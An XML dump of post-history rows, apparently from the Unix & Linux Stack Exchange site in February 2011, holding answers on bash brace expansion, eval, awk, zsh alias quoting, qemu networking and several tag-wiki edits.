  <row Id="18810" PostHistoryTypeId="3" PostId="7998" RevisionGUID="55db468b-8a20-4930-9b31-31c9db03f9e7" CreationDate="2011-02-24T16:34:50.643" UserId="591" Text="ébashà" />
  <row Id="18811" PostHistoryTypeId="2" PostId="7999" RevisionGUID="4d8ec841-fc57-453a-be3a-c00e2e92686b" CreationDate="2011-02-24T16:57:23.690" UserId="872" Text="Brace expansion does not expand variables, because the brace expansion is the very first step of the shell expansion and the variables are expanded later.&#xD;&#xA;&#xD;&#xA;From the bash man page:&#xD;&#xA;&#xD;&#xA;&gt; Brace  expansion is performed before&#xD;&#xA;&gt; any other expansions, and any&#xD;&#xA;&gt; characters special to other expansions&#xD;&#xA;&gt; are preserved in the result.  It is&#xD;&#xA;&gt; strictly textual.  Bash does not apply&#xD;&#xA;&gt; any syntactic interpretation to the&#xD;&#xA;&gt; context of the expansion or the text&#xD;&#xA;&gt; between the braces.&#xD;&#xA;&#xD;&#xA;So:&#xD;&#xA;&#xD;&#xA;    NUM=4&#xD;&#xA;    for i in {1..$NUM}&#xD;&#xA;    do&#xD;&#xA;        echo $i&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;prints &#xD;&#xA;&#xD;&#xA;    {1..4}" />
  <row Id="18812" PostHistoryTypeId="2" PostId="8000" RevisionGUID="7893b51c-3463-4ddf-9c69-8f473480626d" CreationDate="2011-02-24T16:58:55.713" UserId="5078" Text="Security through obfuscation.  Nobody would guess Superuser was root!" />
  <row Id="18813" PostHistoryTypeId="2" PostId="8001" RevisionGUID="7132f341-dd5d-4fe3-b918-0d03318d4000" CreationDate="2011-02-24T17:02:21.410" UserId="3645" Text="To expand this you'd have to use `eval`:&#xD;&#xA;&#xD;&#xA;    $ echo {1..5}&#xD;&#xA;    1 2 3 4 5&#xD;&#xA;    $ NUM=5&#xD;&#xA;    $ echo {1..$NUM}&#xD;&#xA;    {1..5}&#xD;&#xA;    $ eval &quot;echo {1..$NUM}&quot;&#xD;&#xA;    1 2 3 4 5&#xD;&#xA;&#xD;&#xA;**Be very, very careful with `eval` though!** Make sure you check that it's really a number before you execute something like this if you're accepting user input. As my colleague observed: &quot;`eval` is evil!&quot;" />
  <row Id="18814" PostHistoryTypeId="2" PostId="8002" RevisionGUID="61ac2b40-f574-4de6-b222-4855a73bc918" CreationDate="2011-02-24T17:04:50.207" UserId="-1" Text="" />
  <row Id="18815" PostHistoryTypeId="2" PostId="8003" RevisionGUID="55409bcc-e335-4614-b40b-9e128d384921" CreationDate="2011-02-24T17:04:50.207" UserId="-1" Text="" />
  <row Id="18816" PostHistoryTypeId="2" PostId="8004" RevisionGUID="2d5c5f09-0ec6-4bc8-9803-95b686a21a36" CreationDate="2011-02-24T17:06:11.923" UserId="-1" Text="" />
  <row Id="18817" PostHistoryTypeId="2" PostId="8005" RevisionGUID="669f7ada-1244-4df8-bc10-3f27f326690a" CreationDate="2011-02-24T17:06:11.923" UserId="-1" Text="" />
  <row Id="18818" PostHistoryTypeId="2" PostId="8006" RevisionGUID="03bbf24e-0025-494d-bcb9-0f06bba8a7f5" CreationDate="2011-02-24T17:07:44.497" UserId="-1" Text="" />
  <row Id="18819" PostHistoryTypeId="2" PostId="8007" RevisionGUID="74cd0a49-ad08-40a3-b5cd-4eadf1db0584" CreationDate="2011-02-24T17:07:44.497" UserId="-1" Text="" />
  <row Id="18820" PostHistoryTypeId="2" PostId="8008" RevisionGUID="23d1aa2c-5097-40bf-9b35-4dcfd28e6b48" CreationDate="2011-02-24T17:22:42.023" UserId="-1" Text="" />
  <row Id="18821" PostHistoryTypeId="2" PostId="8009" RevisionGUID="df941c93-0bcd-406d-99e3-9be9ff9b6498" CreationDate="2011-02-24T17:22:42.023" UserId="-1" Text="" />
  <row Id="18822" PostHistoryTypeId="25" PostId="7998" RevisionGUID="dea03161-3e12-403e-9bd4-d15aec553353" CreationDate="2011-02-24T17:23:23.470" Comment="http://twitter.com/#!/StackUnix/status/40824120685887488" />
  <row Id="18823" PostHistoryTypeId="2" PostId="8010" RevisionGUID="ba852480-b68b-4373-ad1d-612dde1375a7" CreationDate="2011-02-24T17:37:37.430" UserId="-1" Text="" />
  <row Id="18824" PostHistoryTypeId="2" PostId="8011" RevisionGUID="02c791d2-50e6-4a31-a805-24b007154797" CreationDate="2011-02-24T17:37:37.430" UserId="-1" Text="" />
  <row Id="18825" PostHistoryTypeId="2" PostId="8012" RevisionGUID="29030f2e-2392-45cc-8dbc-ca198864209f" CreationDate="2011-02-24T17:56:47.950" UserId="-1" Text="" />
  <row Id="18826" PostHistoryTypeId="2" PostId="8013" RevisionGUID="380b77c1-c27d-48f7-ae1f-a967efb975e3" CreationDate="2011-02-24T17:56:47.950" UserId="-1" Text="" />
  <row Id="18827" PostHistoryTypeId="2" PostId="8014" RevisionGUID="623e0b28-ac25-452d-9fb3-2983f3f9f130" CreationDate="2011-02-24T17:58:57.340" UserId="-1" Text="" />
  <row Id="18828" PostHistoryTypeId="2" PostId="8015" RevisionGUID="06cba107-92ce-4472-bad4-46ff9427f923" CreationDate="2011-02-24T17:58:57.340" UserId="-1" Text="" />
  <row Id="18829" PostHistoryTypeId="2" PostId="8016" RevisionGUID="0197ba5b-1a84-4fee-ad9d-ddf9e54596fd" CreationDate="2011-02-24T18:03:55.623" UserId="-1" Text="" />
  <row Id="18830" PostHistoryTypeId="2" PostId="8017" RevisionGUID="30708cc3-bb30-4cf8-a651-c5f8ba4de278" CreationDate="2011-02-24T18:03:55.623" UserId="-1" Text="" />
  <row Id="18831" PostHistoryTypeId="2" PostId="8018" RevisionGUID="5f682545-1e7f-4fdb-8176-420aa23c60ff" CreationDate="2011-02-24T18:24:40.903" UserId="-1" Text="" />
  <row Id="18832" PostHistoryTypeId="2" PostId="8019" RevisionGUID="4f389877-1a82-4244-a6d2-9cbafcc201f3" CreationDate="2011-02-24T18:24:40.903" UserId="-1" Text="" />
  <row Id="18833" PostHistoryTypeId="2" PostId="8020" RevisionGUID="80444db8-a078-4909-b0bd-47d4df3c720a" CreationDate="2011-02-24T18:26:01.977" UserId="-1" Text="" />
  <row Id="18834" PostHistoryTypeId="2" PostId="8021" RevisionGUID="7cc33134-2d21-499d-b7f7-5db4d27d9fa6" CreationDate="2011-02-24T18:26:01.977" UserId="-1" Text="" />
  <row Id="18835" PostHistoryTypeId="2" PostId="8022" RevisionGUID="73ac003b-d5fa-4c54-af9a-c7f96d84197f" CreationDate="2011-02-24T18:26:40.730" UserId="-1" Text="" />
  <row Id="18836" PostHistoryTypeId="2" PostId="8023" RevisionGUID="79851a0e-47ea-4322-9e5a-89dadc9f4b23" CreationDate="2011-02-24T18:26:40.730" UserId="-1" Text="" />
  <row Id="18837" PostHistoryTypeId="2" PostId="8024" RevisionGUID="ff153917-1f6a-41ed-8cb5-3da8f7cfcbaa" CreationDate="2011-02-24T18:47:56.007" UserId="-1" Text="" />
  <row Id="18838" PostHistoryTypeId="2" PostId="8025" RevisionGUID="8bdb6fa7-945c-4428-90e7-a0e375309804" CreationDate="2011-02-24T18:47:56.007" UserId="-1" Text="" />
  <row Id="18839" PostHistoryTypeId="2" PostId="8026" RevisionGUID="3d3e71f2-0a04-4e14-9ba5-1f337e6607e3" CreationDate="2011-02-24T18:48:44.040" UserId="-1" Text="" />
  <row Id="18840" PostHistoryTypeId="2" PostId="8027" RevisionGUID="131e7c3e-6976-4aa2-8bac-7d324a8287c0" CreationDate="2011-02-24T18:48:44.040" UserId="-1" Text="" />
  <row Id="18841" PostHistoryTypeId="2" PostId="8028" RevisionGUID="40f031d0-285e-41c1-871c-28223cdb1d9b" CreationDate="2011-02-24T18:50:01.590" UserId="-1" Text="" />
  <row Id="18842" PostHistoryTypeId="2" PostId="8029" RevisionGUID="1f1e0b58-b659-4b78-b18c-aeacd8ad3953" CreationDate="2011-02-24T18:50:01.590" UserId="-1" Text="" />
  <row Id="18843" PostHistoryTypeId="4" PostId="7998" RevisionGUID="15a14161-c00e-4f96-b774-ca2010cc8ca5" CreationDate="2011-02-24T18:52:48.850" UserId="591" Comment="edited title" Text="Which bash will expand  {1..$VAR} in the same way that zsh does." />
  <row Id="18844" PostHistoryTypeId="5" PostId="7868" RevisionGUID="f5172a68-61b5-461f-bd29-320bfcefa084" CreationDate="2011-02-24T18:53:42.033" UserId="2343" Comment="A couple of minor tweaks to make it work on Ubuntu, (only used awk maybe 5 times, so hope its right..." Text="There are major two approaches. One is `IFS`, [demonstrated by fred.bear](http://unix.stackexchange.com/questions/7827/extracting-tokens-from-a-line-of-text/7832#7832). This has the advantage of not requiring a separate process, but it can be tricky to get right when your input might have characters that have special meaning to the shell. The other approach is to use a text processing utility. Field splitting is built into `awk`.&#xD;&#xA;&#xD;&#xA;    input=&quot;token1;token2;token3;token4&quot;&#xD;&#xA;    awk -vinput=&quot;$input&quot; 'BEGIN {&#xD;&#xA;        count = split(input, a, &quot;;&quot;);&#xD;&#xA;        print &quot;first field: &quot; a[1];&#xD;&#xA;        print &quot;second: field&quot; a[2];&#xD;&#xA;        print &quot;number of fields: &quot; count;&#xD;&#xA;        exit;&#xD;&#xA;    }'&#xD;&#xA;&#xD;&#xA;Awk is particularly appropriate when processing multiple inputs.&#xD;&#xA;&#xD;&#xA;    command_producing_semicolon_separated_data |&#xD;&#xA;    awk -F ';' '{&#xD;&#xA;        print &quot;first field: &quot; $1;&#xD;&#xA;        print &quot;second field: &quot; $2;&#xD;&#xA;        print &quot;number of fields: &quot; NF;&#xD;&#xA;    }'&#xD;&#xA;" />
  <row Id="18845" PostHistoryTypeId="24" PostId="7868" RevisionGUID="f5172a68-61b5-461f-bd29-320bfcefa084" CreationDate="2011-02-24T18:53:42.033" Comment="Proposed by 2343 approved by 885 edit id of 50" />
  <row Id="18846" PostHistoryTypeId="5" PostId="8009" RevisionGUID="ada94b61-f68e-4001-85c1-5a662fcd2113" CreationDate="2011-02-24T19:04:09.990" UserId="3635" Comment="added 79 characters in body" Text="Yellowdog Updater Modified (yum) is an interactive, rpm based, package manager." />
  <row Id="18847" PostHistoryTypeId="24" PostId="8009" RevisionGUID="ada94b61-f68e-4001-85c1-5a662fcd2113" CreationDate="2011-02-24T19:04:09.990" Comment="Proposed by 3635 approved by 305 edit id of 84" />
  <row Id="18848" PostHistoryTypeId="5" PostId="8008" RevisionGUID="18923851-543d-49e3-8223-61cbb6df2092" CreationDate="2011-02-24T19:04:17.990" UserId="3635" Comment="added 449 characters in body" Text="yum is an interactive, rpm based, package manager. It can automatically perform system updates, including dependency analysis and obsolete processing  based  on &quot;repository&quot; metadata. It can also perform installation of new packages, removal of old packages and  perform  queries  on the  installed and/or available packages among many other commands/services (see below). yum is similar to other high level package  managers like apt-get and smart." />
  <row Id="18849" PostHistoryTypeId="24" PostId="8008" RevisionGUID="18923851-543d-49e3-8223-61cbb6df2092" CreationDate="2011-02-24T19:04:17.990" Comment="Proposed by 3635 approved by 305 edit id of 83" />
  <row Id="18850" PostHistoryTypeId="5" PostId="8017" RevisionGUID="057a8e4d-c418-448b-8345-4f0cb23f84a7" CreationDate="2011-02-24T19:05:04.137" UserId="3635" Comment="added 118 characters in body" Text="In the X window system, a window manager controls the way your desktop works, including how the windows look and act. " />
  <row Id="18851" PostHistoryTypeId="24" PostId="8017" RevisionGUID="057a8e4d-c418-448b-8345-4f0cb23f84a7" CreationDate="2011-02-24T19:05:04.137" Comment="Proposed by 3635 approved by 305 edit id of 91" />
  <row Id="18852" PostHistoryTypeId="5" PostId="8026" RevisionGUID="144f09b5-793d-4445-873a-b5117638f504" CreationDate="2011-02-24T19:05:13.730" UserId="3635" Comment="added 243 characters in body" Text="Sudo (su &quot;do&quot;) allows a system administrator to delegate authority to give certain users (or groups of users) the ability to run some (or all) commands as root or another user while providing an audit trail of the commands and their arguments." />
  <row Id="18853" PostHistoryTypeId="24" PostId="8026" RevisionGUID="144f09b5-793d-4445-873a-b5117638f504" CreationDate="2011-02-24T19:05:13.730" Comment="Proposed by 3635 approved by 305 edit id of 99" />
  <row Id="18854" PostHistoryTypeId="5" PostId="8021" RevisionGUID="41ffadcd-ab1b-498c-8985-ea2edd195f1b" CreationDate="2011-02-24T19:05:23.497" UserId="3635" Comment="added 120 characters in body" Text="Solaris is a Unix operating system originally developed by Sun Microsystems. It superseded their earlier SunOS in 1992. " />
  <row Id="18855" PostHistoryTypeId="24" PostId="8021" RevisionGUID="41ffadcd-ab1b-498c-8985-ea2edd195f1b" CreationDate="2011-02-24T19:05:23.497" Comment="Proposed by 3635 approved by 305 edit id of 94" />
  <row Id="18856" PostHistoryTypeId="2" PostId="8030" RevisionGUID="31bb81c9-acec-45be-8fbc-4549ae9a1615" CreationDate="2011-02-24T19:10:46.510" UserId="-1" Text="" />
  <row Id="18857" PostHistoryTypeId="2" PostId="8031" RevisionGUID="d5798169-c512-4edb-b14f-000813ff1798" CreationDate="2011-02-24T19:10:46.510" UserId="-1" Text="" />
  <row Id="18858" PostHistoryTypeId="2" PostId="8032" RevisionGUID="0ede424c-29d4-4780-b75f-97b02b65d368" CreationDate="2011-02-24T19:11:45.433" UserId="-1" Text="" />
  <row Id="18859" PostHistoryTypeId="2" PostId="8033" RevisionGUID="aa4709ae-47ad-4d11-aebc-9e2f63a80242" CreationDate="2011-02-24T19:11:45.433" UserId="-1" Text="" />
  <row Id="18860" PostHistoryTypeId="2" PostId="8034" RevisionGUID="d23985e6-4f32-4e8b-a936-c68599e63a22" CreationDate="2011-02-24T19:11:57.433" UserId="2511" Text="I'm pretty sure the person asking the question on server fault is wrong. They're either leaving out some detail intentionally or are unaware of some weird configuration on the machine (/bin/bash as a link to something else). I tried on the two-week-old bash 4.2 release, on bash 3.2 from CentOS 5, and on bash 2.05a (from 2001)  which I built myself just now to try.&#xD;&#xA;&#xD;&#xA;The oldest source on [ftp.gnu.org][1] is 1.14, but that doesn't build cleanly, and I'm not sure trying it is worthwhile. The documentation for that release contains the exact same key phrases as in the modern documentation: &#xD;&#xA;&#xD;&#xA;&gt;      The order of expansions is: brace  expansion,  tilde  expan-&#xD;&#xA;&gt;      sion, parameter, variable, command, and arithmetic substitu-&#xD;&#xA;&gt;      tion (done in a left-to-right fashion), word splitting,  and&#xD;&#xA;&gt;      pathname expansion.&#xD;&#xA;&#xD;&#xA;But actually, now that I think of it, that's pointless, since the &quot;{x..y}&quot; syntax was [added in bash 3.0][2], making looking before that useless.&#xD;&#xA;&#xD;&#xA;So, let me try 3.0 ... right. Same behavior.&#xD;&#xA;&#xD;&#xA;So yeah. I'm extremely skeptical. Something doesn't add up.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://ftp.gnu.org/gnu/bash/&#xD;&#xA;  [2]: http://tiswww.case.edu/php/chet/bash/CHANGES" />
  <row Id="18861" PostHistoryTypeId="2" PostId="8035" RevisionGUID="ecee1cde-809b-4d2c-a26c-71147542de20" CreationDate="2011-02-24T19:12:54.123" UserId="-1" Text="" />
  <row Id="18862" PostHistoryTypeId="2" PostId="8036" RevisionGUID="515197d0-7c7f-4b2f-9dee-0d51eae68d1b" CreationDate="2011-02-24T19:12:54.123" UserId="-1" Text="" />
  <row Id="18863" PostHistoryTypeId="2" PostId="8037" RevisionGUID="f7ef6c15-3f16-4550-a462-406f5c38948d" CreationDate="2011-02-24T19:14:50.893" UserId="-1" Text="" />
  <row Id="18864" PostHistoryTypeId="2" PostId="8038" RevisionGUID="c05e665e-d8bb-494e-903e-7e2b60a47ae0" CreationDate="2011-02-24T19:14:50.893" UserId="-1" Text="" />
  <row Id="18865" PostHistoryTypeId="2" PostId="8039" RevisionGUID="5862c15e-272a-447b-bf40-9316d7c17813" CreationDate="2011-02-24T19:51:49.813" UserId="5088" Text="I'm having real problems having upgraded Ubuntu from 10.04 to 10.10. My main problem is I cannot get a network connection either wired or wireless. When I right click the Network manager applet the Enable Networking check box is greyed out and unchecked.&#xD;&#xA;&#xD;&#xA;Any ideas how to resolve this?&#xD;&#xA;&#xD;&#xA;Thanks&#xD;&#xA;&#xD;&#xA;" />
  <row Id="18866" PostHistoryTypeId="1" PostId="8039" RevisionGUID="5862c15e-272a-447b-bf40-9316d7c17813" CreationDate="2011-02-24T19:51:49.813" UserId="5088" Text="Network problems after Ubuntu upgrade" />
  <row Id="18867" PostHistoryTypeId="3" PostId="8039" RevisionGUID="5862c15e-272a-447b-bf40-9316d7c17813" CreationDate="2011-02-24T19:51:49.813" UserId="5088" Text="éubuntuà" />
  <row Id="18868" PostHistoryTypeId="5" PostId="8000" RevisionGUID="b6d2a402-471d-40ba-ac20-a8792f244eee" CreationDate="2011-02-24T19:55:55.290" UserId="73" Comment="added 21 characters in body" Text="Security through obfuscation -- nobody would guess the superuser account was named `root`!" />
  <row Id="18870" PostHistoryTypeId="25" PostId="8039" RevisionGUID="3a275ce4-71ba-43a2-8fa8-9b6d61ad1919" CreationDate="2011-02-24T20:23:23.337" Comment="http://twitter.com/#!/StackUnix/status/40869418888212480" />
  <row Id="18871" PostHistoryTypeId="2" PostId="8041" RevisionGUID="03ea2f34-4640-4be5-9797-636ad9bce3df" CreationDate="2011-02-24T20:25:33.320" UserId="885" Text="To get an idea of what's going on, run&#xD;&#xA;&#xD;&#xA;    % alias striplines='print -lr awk &quot; /^$/ {print \&quot;\n\&quot;; } /./ {printf( \&quot; %s \&quot;,$0);}&quot;'&#xD;&#xA;    % striplines&#xD;&#xA;    awk&#xD;&#xA;     /^$/ {print &quot;\n&quot;; } /./ {printf( &quot; %s &quot;,zsh);}&#xD;&#xA;&#xD;&#xA;Since the `$` characters are in double quotes (when they're expanded after the alias is expanded), they are interpreted by the shell. To get the quoting right, it's easier to put the whole alias definition in single quotes. What's inside the single quotes is what will be expanded when the alias is used. Now that the argument of `awk` is surrounded in double quotes, it's clear that you need backslashes before `\&quot;$`.&#xD;&#xA;&#xD;&#xA;    alias striplines='print -lr awk &quot; /^\$/ {print \&quot;\n\&quot;; } /./ {printf( \&quot; %s \&quot;,\$0);}&quot;'&#xD;&#xA;&#xD;&#xA;A useful idiom to single-quote a single-quoted string is that `'\''` is pretty much a way to put a literal single quote in a single-quoted string. Technically there's a juxtaposition of a single-quoted string, a backslash-quoted `'`, and another single-quoted string. The juxtaposed empty string `''` at the end can be removed.&#xD;&#xA;&#xD;&#xA;    alias striplines='print -lr awk '\'' /^$/ {print &quot;\n&quot;; } /./ {printf( &quot; %s &quot;,$0);}'\'&#xD;&#xA;&#xD;&#xA;After this long explanation, a recommendation: when it's too complicated  for an alias, [use a function](http://unix.stackexchange.com/questions/7951/escaping-quotes-in-zsh-alias/7966#7966).&#xD;&#xA;" />
  <row Id="18872" PostHistoryTypeId="6" PostId="7951" RevisionGUID="0da0f0bd-ec0a-49cf-9987-8d07f167ca17" CreationDate="2011-02-24T20:26:51.303" UserId="885" Comment="edited tags" Text="éshellàéquotingà" />
  <row Id="18873" PostHistoryTypeId="2" PostId="8042" RevisionGUID="5b536d7a-0966-42e9-87f8-8abef99795eb" CreationDate="2011-02-24T20:30:38.350" UserId="885" Text="The default of 5% is meant for system partitions. For example, if your disk space fills up, the system logs (`/var/log`) and root's mailbox (`/var/mail/root`) can still receive important information. For a `/home` or general data storage partition, there's no need to leave any space for root. For special needs, you can change the user that gets the emergency space.&#xD;&#xA;&#xD;&#xA;There's another reason to not allow an ext[234] filesystem to get full, which is [fragmentation](http://unix.stackexchange.com/questions/7950/reserved-space-for-root-on-a-filesystem-why/7965#7965).&#xD;&#xA;" />
  <row Id="18874" PostHistoryTypeId="6" PostId="7950" RevisionGUID="e0abbbca-1498-462e-afb5-99212c52374c" CreationDate="2011-02-24T20:31:04.807" UserId="885" Comment="edited tags" Text="éfilesystemsàérootàédisköusageà" />
  <row Id="18875" PostHistoryTypeId="2" PostId="8043" RevisionGUID="95891fe8-3908-447f-b898-198846af5c9c" CreationDate="2011-02-24T20:35:02.587" UserId="885" Text="Aptitude lists them under “Obsolete and Locally Created Packages”. The corresponding search pattern is `?obsolete` or `~o`.&#xD;&#xA;&#xD;&#xA;    aptitude search '?obsolete'&#xD;&#xA;" />
  <row Id="18876" PostHistoryTypeId="6" PostId="7954" RevisionGUID="f5340a78-81e6-49d3-b426-62e483827732" CreationDate="2011-02-24T20:35:53.117" UserId="885" Comment="edited tags" Text="élinuxàésoftwareörecàévideoöeditingà" />
  <row Id="18877" PostHistoryTypeId="2" PostId="8044" RevisionGUID="7f60dad3-ddfa-4f71-a363-609c1ec9914e" CreationDate="2011-02-24T20:36:10.000" UserId="4477" Text="You should be able to use the user-mode networking stack. Start qemu like this:&#xD;&#xA;&#xD;&#xA;    qemu-system-x86_64 \&#xD;&#xA;        -smp 1 -m 1024 \&#xD;&#xA;        -net user,net=10.0.0.0/8,host=10.0.0.1,hostfwd=tcp:127.0.0.1:2222-10.0.0.2:22 \&#xD;&#xA;        -net nic \&#xD;&#xA;        -cdrom systemrescuecd-x86-2.0.1.iso -boot d&#xD;&#xA;&#xD;&#xA;The important options:&#xD;&#xA;&#xD;&#xA; * `-net nic`: Show a virtual network card for the guest&#xD;&#xA; *  `-net user`: Make the qemu process on the host communicate over the real network just like any other process would&#xD;&#xA; * `net=10.0.0.0/8`: The subnet on the virtual network&#xD;&#xA; * `host=10.0.0.1`: The host IP address on the virtual network&#xD;&#xA; * `hostfwd=tcp:127.0.0.1:2222-10.0.0.2:22`: The qemu process on the host listens for TCP connections from localhost on port 22 and forwards them to the virtual network to 10.0.0.2:22 (so you can ssh to your new virtual machine)&#xD;&#xA;&#xD;&#xA;On the guest run&#xD;&#xA;&#xD;&#xA;    ifconfig eth0 10.0.0.2 up&#xD;&#xA;    ip route add default via 10.0.0.1 dev eth0&#xD;&#xA;&#xD;&#xA;Test SSH from host to guest&#xD;&#xA;    &#xD;&#xA;    ssh 127.0.0.1 -p 2222&#xD;&#xA;&#xD;&#xA;and from guest to host&#xD;&#xA;&#xD;&#xA;    ssh 10.0.0.1&#xD;&#xA;&#xD;&#xA;Test the internet reachability from the guest&#xD;&#xA;&#xD;&#xA;    wget google.com&#xD;&#xA;&#xD;&#xA;The host process works like a NAT router. Only TCP and UDP traffic will work. In particular ping only works between the guest and the host you can't ping google.com (my usual network testing method). The advantage of this approach is that you don't even need root privileges." />
  <row Id="18878" PostHistoryTypeId="6" PostId="7953" RevisionGUID="466aab34-9fc2-443d-8b05-02b5767fdc28" CreationDate="2011-02-24T20:42:10.453" UserId="885" Comment="edited tags" Text="ébashàéshellàéjoböcontrolà" />
  <row Id="18879" PostHistoryTypeId="5" PostId="7897" RevisionGUID="3e9dde18-f5aa-462d-bfd5-8b2caf712db2" CreationDate="2011-02-24T20:59:14.447" UserId="688" Comment="deleted 1 characters in body" Text="I have 15 identical Linux RH 4.7 64-bit severs. They run cluster database (cluster is application level). On occasion (every month or so) a random box (never the same though) freezes.&#xD;&#xA;&#xD;&#xA;I can ping the box and ping works. If I try to ssh in the box I get:&#xD;&#xA;&#xD;&#xA;    ssh_exchange_identification: Connection closed by remote host&#xD;&#xA;&#xD;&#xA;SSH is set up properly.&#xD;&#xA;&#xD;&#xA;When I go to the server room, and try to login directly to console, I can switch consoles with &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;Fn&lt;/kbd&gt;, I can enter a username, and characters do show, but after pressing &lt;kbd&gt;Enter&lt;/kbd&gt;, nothing happens. I waited 8 hours once and it didn't change.&#xD;&#xA;&#xD;&#xA;I set up syslog to log everything to a remote host, and there is nothing in those logs. When I reboot the machine, it works without a problem. I have run HW tests - everything is ok, and nothing is in the logs. The machines are also monitored with NAGIOS, and there is no unusual load or activity prior to freeze.&#xD;&#xA;&#xD;&#xA;I have run out of ideas; what else can I do or check?" />
  <row Id="18880" PostHistoryTypeId="5" PostId="2934" RevisionGUID="1e5ceb7d-da04-4961-8fbe-96beb3dca75b" CreationDate="2011-02-24T21:48:38.303" UserId="688" Comment="formatting; rm greetings; grammar" Text="I used to use yum to list all installed packages:&#xD;&#xA;&#xD;&#xA;    yum list installed&#xD;&#xA;&#xD;&#xA;Now I need to list top level packages only i.e. if a package is a dependency of another, it should not be shown. GNOME's *Add/Remove Software* can do this but I need the output in a terminal.&#xD;&#xA;&#xD;&#xA;I checked yum manual but I could not find a switch for that." />
  <row Id="18881" PostHistoryTypeId="5" PostId="8023" RevisionGUID="d29c57b5-b2da-44e9-a66d-d50a2cc12450" CreationDate="2011-02-24T22:04:35.133" UserId="3635" Comment="added 54 characters in body" Text="The .NET Framework, originally developed by Microsoft." />
  <row Id="18882" PostHistoryTypeId="24" PostId="8023" RevisionGUID="d29c57b5-b2da-44e9-a66d-d50a2cc12450" CreationDate="2011-02-24T22:04:35.133" Comment="Proposed by 3635 approved by 331 edit id of 95" />
  <row Id="18883" PostHistoryTypeId="5" PostId="8005" RevisionGUID="b33d9899-a0eb-4f2a-a38c-370177b973fd" CreationDate="2011-02-24T22:04:37.427" UserId="3635" Comment="added 124 characters in body" Text="CentOS is an Enterprise-class Linux Distribution derived from Redhat Enterprise Linux sources freely provided to the public." />
  <row Id="18884" PostHistoryTypeId="24" PostId="8005" RevisionGUID="b33d9899-a0eb-4f2a-a38c-370177b973fd" CreationDate="2011-02-24T22:04:37.427" Comment="Proposed by 3635 approved by 331 edit id of 80" />
  <row Id="18885" PostHistoryTypeId="5" PostId="8004" RevisionGUID="14f516fb-430d-4904-9f47-d883ce1a9647" CreationDate="2011-02-24T22:04:39.673" UserId="3635" Comment="added 1121 characters in body" Text="From the [CentOS web site][1]:&#xD;&#xA;&#xD;&#xA;CentOS is an Enterprise-class Linux Distribution derived from sources freely provided to the public by a prominent North American Enterprise Linux vendor.  CentOS conforms fully with the upstream vendors redistribution policy and aims to be 100% binary compatible. (CentOS mainly changes packages to remove upstream vendor branding and artwork.)  CentOS is free.&#xD;&#xA;&#xD;&#xA;CentOS is developed by a small but growing team of core developers.  In turn the core developers are supported by an active user community including system administrators, network administrators, enterprise users, managers, core Linux contributors and Linux enthusiasts from around the world.&#xD;&#xA;&#xD;&#xA;CentOS has numerous advantages over some of the other clone projects including:  an active and growing user community, quickly rebuilt, tested, and QA'ed errata packages, an extensive mirror network, developers who are contactable and responsive, multiple free support avenues including IRC Chat, Mailing Lists, Forums, a dynamic FAQ.  Commercial support is offered via a number of vendors.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.centos.org/" />
  <row Id="18886" PostHistoryTypeId="24" PostId="8004" RevisionGUID="14f516fb-430d-4904-9f47-d883ce1a9647" CreationDate="2011-02-24T22:04:39.673" Comment="Proposed by 3635 approved by 331 edit id of 81" />
  <row Id="18887" PostHistoryTypeId="5" PostId="8007" RevisionGUID="b0252bee-f062-4a84-a88b-0f2b2b7ea826" CreationDate="2011-02-24T22:04:41.763" UserId="3635" Comment="added 57 characters in body" Text="A file system structure in which to store computer files." />
  <row Id="18888" PostHistoryTypeId="24" PostId="8007" RevisionGUID="b0252bee-f062-4a84-a88b-0f2b2b7ea826" CreationDate="2011-02-24T22:04:41.763" Comment="Proposed by 3635 approved by 331 edit id of 82" />
  <row Id="18889" PostHistoryTypeId="5" PostId="8033" RevisionGUID="43aeee07-b34b-4960-b44d-0ab19a4a937f" CreationDate="2011-02-24T22:04:43.980" UserId="3635" Comment="added 108 characters in body" Text="Compiling is the process of transforming source code into byte codes for a particular computer architecture." />
  <row Id="18890" PostHistoryTypeId="24" PostId="8033" RevisionGUID="43aeee07-b34b-4960-b44d-0ab19a4a937f" CreationDate="2011-02-24T22:04:43.980" Comment="Proposed by 3635 approved by 331 edit id of 102" />
  <row Id="18891" PostHistoryTypeId="5" PostId="8029" RevisionGUID="79b2ca92-e5af-4851-b305-67e692761a60" CreationDate="2011-02-24T22:04:45.757" UserId="3635" Comment="added 69 characters in body" Text="A Unix server that allows users to schedule jobs to run periodically." />
  <row Id="18892" PostHistoryTypeId="24" PostId="8029" RevisionGUID="79b2ca92-e5af-4851-b305-67e692761a60" CreationDate="2011-02-24T22:04:45.757" Comment="Proposed by 3635 approved by 331 edit id of 100" />
  <row Id="18893" PostHistoryTypeId="5" PostId="8038" RevisionGUID="7873e10f-eae8-46b9-abb1-a65b8c65efac" CreationDate="2011-02-24T22:04:47.380" UserId="3635" Comment="added 132 characters in body" Text="A device driver or software driver is a computer program allowing higher-level computer programs to interact with a hardware device." />
  <row Id="18894" PostHistoryTypeId="24" PostId="8038" RevisionGUID="7873e10f-eae8-46b9-abb1-a65b8c65efac" CreationDate="2011-02-24T22:04:47.380" Comment="Proposed by 3635 approved by 331 edit id of 105" />
  <row Id="18895" PostHistoryTypeId="5" PostId="8027" RevisionGUID="795cb700-7514-44cf-b962-5f992be14304" CreationDate="2011-02-24T22:05:10.047" UserId="3635" Comment="added 51 characters in body" Text="sudo - Execute a command with superuser privileges." />
  <row Id="18896" PostHistoryTypeId="24" PostId="8027" RevisionGUID="795cb700-7514-44cf-b962-5f992be14304" CreationDate="2011-02-24T22:05:10.047" Comment="Proposed by 3635 approved by 331 edit id of 98" />
  <row Id="18897" PostHistoryTypeId="5" PostId="8031" RevisionGUID="a61a19a1-16d0-4773-830d-ec591163c1b6" CreationDate="2011-02-24T22:05:11.700" UserId="3635" Comment="added 232 characters in body" Text="The X window system (commonly X Window System or X11, based on its current major version being 11) is a computer software system and network protocol that provides a basis for graphical user interfaces (GUI) for networked computers." />
  <row Id="18898" PostHistoryTypeId="24" PostId="8031" RevisionGUID="a61a19a1-16d0-4773-830d-ec591163c1b6" CreationDate="2011-02-24T22:05:11.700" Comment="Proposed by 3635 approved by 331 edit id of 101" />
